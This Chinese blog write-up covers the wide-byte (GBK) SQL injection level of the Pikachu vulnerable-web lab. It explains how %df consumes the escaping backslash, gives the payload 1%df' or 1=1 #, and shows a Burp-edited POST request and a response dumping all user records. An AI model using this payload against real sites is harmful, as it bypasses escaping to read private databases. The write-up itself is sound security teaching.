首页 > 数据库 >pikchua sql inject 宽字节注入

pikchua sql inject 宽字节注入

时间:2022-10-29 22:55:58浏览次数:46  
标签:pikchua uid pikachu email inject sql com your 字节

宽字节注入原理

什么是宽字节?

如果一个字符的大小是一个字节的,称为窄字节;
如果一个字符的大小是两个字节的,成为宽字节;

像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两字节
英文默认占一个字节,中文占两个字节

什么是宽字节注入?

原理:宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。在使用PHP连接MySQL的时候,当设置“character_set_client = gbk”时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入

宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)

GBK首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F),例如%df和%5C会结合;GB2312是被GBK兼容的,它的高位范围是0xA1-0xF7,低位范围是0xA1-0xFE(0x5C不在该范围内),因此不能使用编码吃掉%5c

常见转义函数与配置:addslashes、mysql_real_escape_string、mysql_escape_string、php.ini中magic_quote_gpc的配置

具体原理:

通过前面的SQL注入实验可以发现,字符型的注入点我们都是用单引号来判断的,但是当遇到addslashes()时,单引号会被转义成 ’ ,导致我们用来判断注入点的单引号失效。
所以我们的目的就是使转义符 \ 失效、使单引号逃逸。

我们的payload的是%df ',其原理是当MySQL在使用GBK编码的时候,会认为两个字符是一个繁体汉字,然后让我们的单引号%27成功逃逸:

' -> \'              => %5C%27
%df' -> %d\'  => %df%5C%27

回到题目,输入

1%df' or 1=1 #

发现还是不行,通过burpsuite进行拦截,发现这里对语句进行了urlencode,对后面接受数据会有一点影响,这里我们拦截包,并修改包,原样语句输出

POST /vul/sqli/sqli_widebyte.php HTTP/1.1
Host: 192.168.1.9:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Origin: http://192.168.1.9:8080
Connection: close
Referer: http://192.168.1.9:8080/vul/sqli/sqli_widebyte.php
Cookie: security=high; PHPSESSID=fftr9buiig10nl6bda5f22li59
Upgrade-Insecure-Requests: 1

name=root %df' or 1=1 #&submit=%E6%9F%A5%E8%AF%A2

在响应报文中就可以看见所有的数据了


<div id="sqli_main">
                <p class="sqli_title">what's your username?</p>
                <form method="post">
                    <input class="sqli_in" type="text" name="name" />
                    <input class="sqli_submit" type="submit" name="submit" value="查询" />
                </form>
                <p class='notice'>your uid:1 <br />your email is: [email protected]</p>
                <p class='notice'>your uid:2 <br />your email is: [email protected]</p>
                <p class='notice'>your uid:3 <br />your email is: [email protected]</p>
                <p class='notice'>your uid:4 <br />your email is: [email protected]</p>
                <p class='notice'>your uid:5 <br />your email is: [email protected]</p>
                <p class='notice'>your uid:6 <br />your email is: [email protected]</p>
                <p class='notice'>your uid:7 <br />your email is: [email protected]</p>
                <p class='notice'>your uid:25 <br />

标签:pikchua,uid,pikachu,email,inject,sql,com,your,字节
From: https://www.cnblogs.com/gradyblog/p/16840114.html

相关文章

  • 查看 MySQL 数据库文件储存位置
    #1.登录MySQLmysql-uroot-pEnterpassword:***#2.输入下面命令mysql>showglobalvariableslike"%datadir%";+---------------+------------------------......
  • SQL注入
    SQL注入流程1.判断是否有SQL注入漏洞;2.判断操作系统、数据库和web应用的类型;3.获取数据库信息,包括管理员信息及拖库;4.加密信息破解,sqlmap可自动破解;5.提升权限,获得sq......
  • MySQL操作命令
    1.操作数据库命令查看数据库showdatabases;查看当前选择的数据库selectdatabase();切换数据库used1;创建数据库语法createdatabased1;查看当前数据......
  • SQL
    1.bool查询or1=1只能查到这张表的记录2.union查询可以查到其他表的数据()mysql>selectuser,password,hostfrommysql.userunionselectuser_login,user_pass,3......
  • Windows Server 2008+IIS+php+MySQL环境搭建
    Win2008+IIS+php+MySQL环境搭建一、Windows环境操作系统:WindowsServer2008R2IIS版本:IIS7.5PHP版本:php5.6.9MySQL版本:MySQL5.7.40二、部署IIS1、打......
  • 快读《ASP.NET Core技术内幕与项目实战》EFCore2.7:杂项(查看SQL、查询筛选器、原生SQL
    本节内容,涉及4.5(P96-P97)、5.2(P131-P141)。主要NuGet包:如前章节所述 一、查看SQL语句,调试LINQ语句//在DbContext类的OnConfiguring方式中,增加显示SQL的配置。即可在控制......
  • SQL高级属性-事务
    事务是在数据库上按照一定逻辑顺序执行的任务队列,既可以由用户手动执行,也可以由某种数据库程序自动执行事务的属性A原子性:保证事务中所有操作都执行完毕,否则,事务......
  • MySQL数据库数据类型
    MySQL数据库数据类型 MySQL数据类型,大致可以分为三类:数值、日期/时间和字符串(字符)类型。 数值类型:类型大小范围(有符号)范围(无符号)用途TINY......
  • Mysql日期函数
    --当前年SELECTDATE_FORMAT(NOW(),'%Y');--当前年月SELECTDATE_FORMAT(NOW(),'%Y%m');--当前年月日SELECTDATE_FORMAT(NOW(),'%Y%m%d');--当前年月日时......
  • mysql高可用架构了解
    转自:https://www.cnblogs.com/gomysql/p/3675429.html,https://www.cnblogs.com/gomysql/p/3671896.htmlhttps://cloud.tencent.com/developer/article/10315421.MHA  ......